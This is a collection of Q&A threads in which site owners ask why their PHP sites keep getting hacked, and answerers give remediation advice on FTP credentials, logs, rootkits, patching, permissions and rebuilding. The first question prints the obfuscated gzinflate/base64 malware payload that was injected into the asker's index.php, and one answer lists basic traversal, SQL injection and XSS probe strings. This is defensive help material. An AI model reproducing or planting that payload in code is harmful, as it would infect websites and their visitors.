Why does this malicious code keep appending to my index.php file? - php

My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.
#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#
Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what?
I also have to say that all my accounts are infected not only one.

My suggestion would be that your FTP account has been compromised. Change your FTP password and don't store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander's list of FTP accounts.

Review your php code. There might be some vulnerability in it somewhere that allows an attacker to modify your files. Or your web server could be vulnerable.
The reason why it is coming back is because someone (or a bot/script) is doing it repeatedly and you've not secured all the parts that run your application i.e. server + code.
Like #pomeh suggests, monitor your server logs to see which files are being accessed to see how it is happening.

Your site is probably open for attacks. And since you don't fix the open "holes" the attacker can inject the code again, and again.

I would start by checking server logs and ftp logs, that should give you a hint where is the problem. My guess would be that your site got compromised and user left a simple php shell behind for further access, which is the scenario for most of the cases. This can be uncovered just by looking at logs; this might be a little timely, and require a person at least little experienced in what to look for (things like traversal inclusion attempts - ../, sql injection attempts - and 1=1, xss - <script>alert, those are just the most basic of examples).
If however there was more serious intrusion, it will be more difficult to uncover as the person would be able to cover his tracks by getting rid of logs, so I'd probably also check for rootkits just to be safe.
Also it depends whether you are on shared host, in which case messed up server permissions can result in your website being vulnerable as a result of another website being compromised. A lot of websites get attacked this way, majority of small and middle sized hosting providers don't provide enough security in this area, essentially rendering your website only as secure as the least secure website hosted on the server.
As said in other answers, if you use open source solution check via google or for example at http://www.exploit-db.com/ if there had been any exploits released lately. Lastly you might want to check the server and what services it is running.

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Database keeps getting attacked from malicious PHP [closed]

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I had finally managed to get a very successful business running, however I have been constantly attacked. The attacker was getting shell access to parts of the site and managed to create/edit my PHP files to send update queries to my database.
I had help from sitelock to secure the site and I even paid them extra to carefully go through code and make sure there are no vulnerabilities. The attacker managed to succeed again, and brought me entire business down.
Now here is what I need: The users need to be able to view the database, and I also have a cron job to update the users "balances" every 20 minutes. Sometimes I need to administrate the site, which means adding new information to the database.
Then I had a great idea (I thought), but sitelock didn't think it was smart:
The main database would be set to VIEWING only. There would be no password available anywhere on the main site that would allow UPDATE or INSERT queries to be sent.
Meanwhile, I would have a secret site on another server from which I do the updates from. I would run my PHP script (with my cron job) to remotely access the MAIN database with a more priviledged database user.
Sitelock claims that accessing the database remotely could cause even more risks, but I don't see how it would. Assuming that my secret site doesn't get hacked as well, I don't see why this would be so dangerous. Can someone explain why it would be?
Due to lacking of vital information, it is quite hard to provide an answer. Nevertheless, I'll give it a try.
Being unter attack is normal.
Let me note, that most websites are unter attack all the time. Since you can't disable attacks, you need to protect your system ad your WebApp. It's important
to keep the operating system and its configuration current
write code, that doesn't expose attackable points
probably install protective system components.
But let me explain, what you might wish to do:
First of all, disable your site and collect evidence related data!
Disable your site, in a fundamental way:
Cut the internet connection.
At least disable each and any script [less good].
Don't just disable the index.php script! Intruder does know other vulnerable points of your WebApp! Use .htaccess to disable each script in each folder!
Then, backup the server's state to your local machine. Vital technical artifacts are in these classes of files:
Your PHP scripts.
The databases / table of your database server.
The server's log files.
The server's configuration files [notably /etc].
In case enough bandwidth is available, backup the whole server to your local machine!
For sure, run the backup through ssh only!
Next, figure out, how intruder managed to access
your site. Intruder might have obtained access at the operating system level [e.g. telnet] or at the web application level.
Your intruder may have changed not only your web-application, but as well other parts of your server's software or system configuration.
While you focus on the front-end, the actual problem might be at another location.
Check your system for root kits.
A root kit scanner like RootKit Hunter might be helpful. The article 'How to scan Linux for rootkits with rkhunter' might provide some help.
Note, in case you set up a new system, a permanent installation of a root kit hunting tool would be useful anyway.
General rule of thumb: Security by obscurity is worthless.
If you use a secret site to perform certain task, intruder may identify the remote too - and probably break into that site - in case the remote site or it's access part to the main site, might have the previous vulnerability too.
Enhance the security level of your site.
Disable each and any service, that isn't permanently required.
Add and enable Apache's mod_security module to automatically reject certain potentially dangerous request.
Enable PHP's safe_mode in case you run PHP prior of release 5.3.0. This PHP option disables certain dangerous features.
Follow the guidelines described in OWASP's PHP security Cheat Sheet
Access your operating system's shell using ssh. No other way is secure!
Protect your site against man in the middle attacks using https.
Protect user sessions using https.
If your site uses http [not https], an attacker might grab the session ID of a legal user of the site. If attacker own the ID, attacker has all those right, that the legal user has.
Don't forget, that grabbing session IDs is simple, if legal user uses
an insecure [public] WiFi network
a non-switched Ethernet
a compromised PC
A virus/trojaner infiltrated system might grab each and any information that legal user exchanges. Thus, most technical measures might fail.
Don't believe, that automated security checks do find each and any security problem.
While SiteLock might find certain classes of problems of web-applications, certain others are far beyond the scope of any automated security check. Automated security checks are incomplete by nature.
Your need specialists for each technical domain.
To protect your site, you need an operating system / admin specialist and a PHP specialist.

Codeigniter 2.1.4 application got hacked?

A strange thing occurred today. I have made a CI based site, and a hacker managed to:
Overwrite my index.php file by making a file upload to root;
Inject code direct into my index.php replacing everything with a dummy html formatted page;
I don't know which of the above actual occurred.
The site is quite simple (no input forms, no db ecc.), I started developing it with CodeIgniter since client didn't know what he wanted, so I ended up using the framework just for templating and compressing.
I have strong doubts whether a security hole was offered to the hacker on the PHP side. I am incline to believe the issue is from my hosting service bad server configuration (I had a bad chat with them, they say they will look into it)
I find it very curious that only the index.php was (apparently) modified (application and system are also in the root since I do not have FTP access above, maybe if I were an hacker I would have deleted any file in root before allowing my fancy index to showy perform)
How did this happen? What do you think is most likely possible?
Unfortunately no one will give you a straight answer without full access to the server, the server and system logs etc. It could be one of many things, if you are on a shared hosting, simply bad configuration of the server will often mean enough (meaning if a person compromises one site, he compromised them all). It could be outdated services on the server, where the attacker used a publicly available exploit. It also might be CI based exploit, private or public...
Chances are, if you are confident that your website couldn't have been hacked, it will most likely be a badly configured shared hosting environment and permissions, allowing the attacker to access system commands and folders that don't belong to the user, which often would've been followed by uploading a php shell via a vulnerable site and from there it would be as simple as browsing folders of a web server.
Second likely I would say is that it could have been outdated exploitable service running on the shared host.
If there is any "signature" in the html you were talking about, you might want to try to google it and see what returns. Also you might want to try to execute some system commands via PHP (something you shouldn't be able to access like ls level below your web root; if you are able, it is likely the attacker access your files that way.

how to secure my website

I know securing any website is a very tough and broad topic to be discussed upon but i want to relate this question to my specific website which i've been working on. It was coded in php by some other programmer around 2004 and i am responsible for it's management. My problem is it's being hacked time and again. I have noticed following things when it's been hacked.
.htaccess file has been modified
index.php and config.php files were modified
Admin password has been changed
Uploading files in server
changing file permission of files and folders
I have worked on the code, it has been properly escaped and i think there is no probability of sql injection. Since most of the problem is related to files and permission i have a doubt about the server security but due to the reason that it was coded around 2004 surely it will lack some security, so what other things do i need work upon in my code to prevent my site being hacked for above mentioned problems?
Thanks in advance.
Since files have been modified, this is unlikely due to SQL injection bugs.
Possibilities to get to the files:
Guess/steal your FTP password
Hack the server (you can't really do anything about that)
Insufficient isolation on the server, meaning other customers can change your files (you can't really do anything about that either)
Remote code execution bugs
Now since you say the website is from 2004, it could be that it uses eval for templating or include for things like site.php?section=foo and then include foo.php in the code somewhere which were both done frequently back in 2004. So I'd do a quick file search for eval and the regex include(.*\$.*) as well as require(.*\$.*). Those are prime suspects depending on how they were used.
Someone probably has direct access to the server, rather than to (a) script(s) in particular. This doesn't sound like a security issue having its origin in the codebase.
You might wanna consider moving the entire site to another provider if this has happened time and time again. Start over somewhere else, with fresh passwords, access control, etc.
OWASP top 10 is very good read. Some guesses of mine.
outdated OS which has vulnerabilities.
MySQL injection and maybe all password stored in plain-text which is very very bad. For authentication you should be using something like openID instead. Also when you have MySQL-injection you should pronto update code to use PDO(prepared statements) if possible.
read/write permissions not set properly or APACHE/PHP running at elevated level?
My advice to you is:
read up on information on OWASP. Then cleary look for flaws in your code. Every line could be source off problem. Maybe you should ditch old code, because very insecure?
reinstall your OS, because you could have a rootkit even?
Never use just shared hosting, use at least managed servers / keep the system up to date
Check your php.ini for security issues (that you can google)
Check your Apache/Nginx/... configs for overrides
Never communicate unencrypted with the server (use SFTP, SSH, ...)
Never trust external values (also from Cookies), always escape/cast those
Filter user input (remove line breaks, 0x00 characters, tags, ... where undesired)
Check all possibly existing user accounts for the server/database/...
Check if all services run as the correct user
Check file (write/execute) permissions in your web folders
Escape everything you show on the website, do not even trust your database data to be safe in any way
If you use 3rd party software, look out for security advisories
re-install the server, you might have been rooted
Use prepared statements
That's it;) This will enhance your security a lot, but experienced attackers are tough.

Best methods to clean up a hacked site with no clean version available?

I have been asked to fix a hacked site that was built using osCommerce on a production server.
The site has always existed on the remote host. There is no offline clean version. Let's forget how stupid this is for a moment and deal with what it is.
It has been hacked multiple times and another person fixed it by removing the web shell files/upload scripts.
It is continually hacked often.
What can I do?
Because you cannot trust anything on the web host (it might have had a rootkit installed), the safest approach is to rebuild a new web server from scratch; don't forget to update all the external-facing software before bringing it online. Do all the updating on the happy side of a draconian firewall.
When you rebuild the system, be sure to pay special attention to proper configuration. If the web content is owned by a different Unix user than the web server's userid and the permissions on the files are set to forbid writing, then the web server cannot modify the program files.
Configure your web server's Unix user account so it has write access to only its log files and database sockets, if they are in the filesystem. A hacked web server could still serve hacked pages to clients, but a restart would 'undo' the 'live hack'. Of course, your database contents could be sent to the Yakuza or corrupted by people who think your data should include pictures of unicorns. The Principle of Least Privilege will be a good guideline -- what, exactly, does your web server need to access in order to do its job? Grant only that.
Also consider deploying a mandatory access control system such as AppArmor, SELinux, TOMOYO, or SMACK. Any of these systems, properly configured, can control the scope of what can be damaged or leaked when a system is hacked. (I've worked on AppArmor for ten years, and I'm confident most system administrators can learn how to deploy a workable security policy on their systems in a day or two of study. No tool is applicable to all situations, so be sure to read about all of your choices.)
The second time around, be sure to keep your configuration managed through tools such as as puppet, chef, or at the very least in a revision control system.
Update
Something else, a little unrelated to coming back online, but potentially educational all the same: save the hard drive from the compromised system, so you can mount it and inspect its contents from another system. Maybe there's something that can be learned by doing forensics on the compromised data: you might find that the compromise happened months earlier and had been stealing passwords or ssh keys. You might find a rootkit or further exploit tools. You might find information to show the source of the attack -- perhaps the admin of that site doesn't yet realize they've been hacked.
Be careful when inspecting hacked data -- that .jpg you don't recognize might very well be the exploit that cracked the system in the first place, and viewing it on a 'known good' system might crack it, too. Do the work with a hard drive you can format when you're done. (Virtualized or with a mandatory access control system might be sufficient to confine "passive" data-based hacks, but there's nothing quite like throwaway systems for peace of mind.)
Obtain a fresh copy of the osCommerce version the site was built with, and do a diff between the new fresh osCommerce and the hacked site. Also check for files which exist on the server but not in the osCommerce package.
By manually comparing the differences, you can track down all possible places the hack may have created or modified scripts.
I know this is a little late in the day to be offering this solution but the official fix from osCommerce developement is here:
http://library.oscommerce.com/confluence/display/OSCOM23/(A)+(SEC)+Administration+Tool+Log-In+Update
Once those code changes are applied then most of the actual work is in cleaning up the website. The admin login bypass exploit will be the cause that has allowed attackers to upload files via the file manager (usually) into directories that are writable, often the images directory.
There are other files that are often writable too which can have malicious code appended in them. cookie_usage.php and includes/languages/english/cookie_usage.php are the usual files that are affected, however on some server configurations, all site files can be susceptible.
Even though the official osCommerce fix is linked to above, I would also suggest to make this change as well: In the page above, scroll down till you see the link that says "Update PHP_SELF Value". Make those changes as well.
This will correct the way $PHP_SELF reports and prevent attackers from using malformed URLs in attempts to bypass the admin login.
I also suggest that you add htaccess basic authentication login to the admin directory.
Also check out an addon I authored called osC_Sec which is an all in one security fix, which while works on most php backed websystems, it is specifically designed to deal to the issues that exist in the older versions of osCommerce.
http://addons.oscommerce.com/info/8283

Virus code injected in PHP Files

I own a website running on LAMP - Linux, Apache, mySQL and PHP. In the past 2-3 weeks the PHP and jQuery files on my website have become infected from malware from a site called gumblar.cn
I can't understand how does this malware get into my PHP files and how do I prevent it from happening again and again.
Any ideas?
UPDATE:
Looks like it is a cpanel exploit
Your site is cracked, so the crackers simply replace your files.
You should always upgrade your Linux OS, Apache, MySQL, PHP, and the web PHP programs whenever a security alert is announced.
Linux servers running open services without upgrading them regularly are the most vulnerable boxes on internet.
No one here can provide a conclusive solution based on the information you provided, so all we can suggest is that you follow good security practices and standards and correct any weak points immediately.
Make sure your software is up-to-date. It's very possible to gain access to local files through exploits in PHP programs, so keep any third-party applications you're running on their latest versions (especially very widespread programs like Wordpress and phpBB), and do whatever you can to ensure that your server is running the correct versions of its services (PHP, Apache, etc.).
Use strong passwords. A strong password is a long, random list of characters. It should have nothing to do with your life, it should have no readily available acronyms or mnemonics, it should not resemble a dictionary word, and it should contain a healthy interspersing of different characters; numbers, letters of different cases, and symbols. It should also be reasonably long, ideally more than 26 characters. This should help keep people from bruteforcing your credentials for enough time for competent sysadmins to take action against the attackers.
Work with the administrators at your hosting provider to understand what happened in this particular case and do things to correct it. They may not have noticed anything unusual; for instance, if you have an easy password, or if this attack was perpetrated by a trusted individual, or if you have an unpatched exploit in a custom PHP application, there would be nothing to indicate an improper use.
Shared hosts also have many people with access to the same local machine, so things like file permissions and patching of locally-accessible exploits both within your application and generally is very important. Make sure your host has good policies on this and make sure that none of your software unequivocally trusts local connections or users.
The nature of the attack (an import of malware from a site that appears to do this kind of thing en masse) suggests that you were running an exploitable application or that your username/password combination was not sufficiently strong, but the administrators at your provider are really the only ones able to supply accurate details on how this happened. Good luck. :)
Chances are, there is an application on your server with a known vulnerability that has been attacked, and something has modified files on your web site or installed a new file.
When searching for information on gumblar.cn, it looks like they use a trojan called JS-Redirector-H. Not sure if this is what is involved here.
Fixing this may involve restoring your web site from backup, if you have no way of knowing what has been modified. If you have source control or a recent version, you may be able to do a whole-site diff. But you will also need to fix the security vulnerability that allowed this to happen in the first place.
Chances are it's some insecure app, or an app you installed some time ago but have not updated recently. A few people who have complained about this mentioned that they use Gallery (ie PHP Gallery). Though I'm not sure if that's connected.
If you are not the server administrator, talk to the server admin. They may be able to help, and it would be wise to let them know about this.
Google Advisory:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://gumblar.cn (linking doesn't work)
First, contact your hosting company and report this. If this is server-wide, they need to know about it.
The most common cause of infections like this is vulnerable popular PHP software (such as PHPBB, Mamboserver and other popular systems). If you're running any 3rd party PHP code, make sure you have the latest version.
If you've determined that this only affects your site, restore from a backup. If you don't have any backups, try re-installing everything (you can probably migrate the database) you have (to the latest version) and go through your own PHP code (if any).
PHP Programs are actually simple text files that run on the server by the PHP interpreter. if your application is infected, then I think there are tow posiibilities:
1.they have used some security hole in YOUR application to inject some code into your server, so now they have changed some of your PHP files, or some of your database information.
if this is the case, you better double check every single place where you are fetching information from the user (text inputs, file uploads, cookie values, ...), make sure everything is well filtered. this is very common security practice to filter anything that comes from the user. you also better make sure that the data that is currently saved in your database (or file system) is clean. I suggest using Zend_Filter component of the Zend Framework to filter user input. there are many full featured filter libraries out there.
2.they could have run some program on your server, that is affecting your PHP source files. so somehow they have accomplished running some program/script your server, that is changing your application.
if this is the case, I suggest your check all your server processes and make sure you know every process that is running. although I think this is less possible.
Ok, this is NOT a programming question and SO is not the place for this because if we would tolerate such questions here we would soon be a first aid / support site for ppl with bad shared hosting accounts.
I only didn't vote for closing because I feel bad turning a few ppl down who are probably feeling really bad about a problem they don't have the knowledge to fix.
First of all: google for gumblar.cn, there is a growing number of potentialy helpful posts accumulating as we speak.
If you're a real beginner and you feel you don't get any of the things in the answers here then just do the following:
Get a new host
Google for information about all your software until you know, if the software is safe. If it's not, don't use it, until the developers have fixed the problem. An example of a not secure software is 'Galery'.
Install all your software (the secure ones only) FRESH INSTALL!!
Copy over static files (like images) to the new server. Do NOT copy over any dynamic files, like php scripts, as they could be infected.
Don't upload any of your own PHP scripts until you've checked them for security vulnerabilities. If you don't know how to do this, don't upload anything before you've learned about these things.
I have been affected by this virus/malware and currently cleaning up. I hope this will be helpful:
1) You most likely have a TROJAN on your PC. To verify this simply run (Start > Run... or Windows key + R) and type "cmd" or "regedit". If either of those doesnt open its window as expected, you have the Js:Redirector trojan. You can also verify that the anti virus programs aVast and Malware Bytes can not connect to updates for some reason (sneaky trojan that is). Plus, you'll notice that the Security program of the Control Panel was disabled, you wouldn't have seen a notification in the tray icons to tell you that the virus protection was disabled.
2) This is a very recent exploit, apparently of vulnerabilities inflash or pdf plugins, thus you are not safe even if you didn't use Internet Explorer!
As for me, I believe because I hate programs slowing down my PC, I have my Windows Updates on "manual", and I didn't have resident protection (scanning of all web connections, etc), and I was probably infected by visiting another hacked site which was not blacklisted yet. Also I was over confident in non-IE browsers! I sometimes ignore the blacklist warning as I am curious about what the scripts do etc, and forgot once again just how BAD Windows really is. Conclusion: leave Windows Updates on automatic, have minimal resident protection (aVast Web Shield + Network Shield).
3) Because this is a trojan that sends back your FTP password, it doesn't matter how good your password was!
4) Try to lceanup your PC with Malware or aVast, it will find a file ending with ".ctv"
You MUST have a virus database dated 14 May or more recent. If you can't update (as explained above), then follow these instructions (you'll need to extrapolate but basically you have a file, the name may vary, which is pointed in the registry, and use HiJackThis to remove it, once you rebout without this file excuted, all is fine)
5) Of course update your passwords, BUT make sure the trojan is removed first!
6) For an exact list of all pages modified try to get a FTP log and you'll find the IP of the script/hacker and all touched files.
7) If you have a complete local copy of the "production" environment, then the safest is to delete ALL the site on the server, and re-upload all files.
8) During the clean up process DONT visit your infected site, or you will re-install the trojan! If you have the latest aVast Home Edition and the "Web Shield" protection it will give you a warning and block the page from being executed by your browser.
like Francis mentioned, try to get your hosting company to make sure their software is up to date.
On your side, change your ftp password to something completely obscure as soon as possible. I've seen this happen to people before. What these 'hackers' do is a brute force on your ftp account, download a couple of files, modify them slightly, and then re-upload the infected copies. If you have access to the ftp log files you'll probably see a connection to your account from an IP other than yours. You may be able to submit this to your hosting company and ask them to black-list that IP from accessing their servers.
That website (gumblar.cn that you mentioned) is being tested for malware. You can monitor results here: http://www.siteadvisor.com/sites/gumblar.cn/postid?p=1659540
I had something like this happen to me at an old hosting provider. Somehow, someone, was able to infect Apache in some way so that a special header was injected into all my PHP files which caused the browser to try to download and run in the browser. While they got it fixed, the quick solution was to take down all my PHP files, and change my index file a plain HTML file. Whether or not this stops the problem for you depends on how the server is infected. The best thing and probably most responsible thing you can do is to protect your visitors by taking down site, and if possible (if text files aren't infected), display a message stating that if they visited recently they may have been infected.
Needless to say, I switched hosting providers quick soon after my site was infected. My hosting provider was pretty bad in a lot of other ways, but this was pretty much the final straw.

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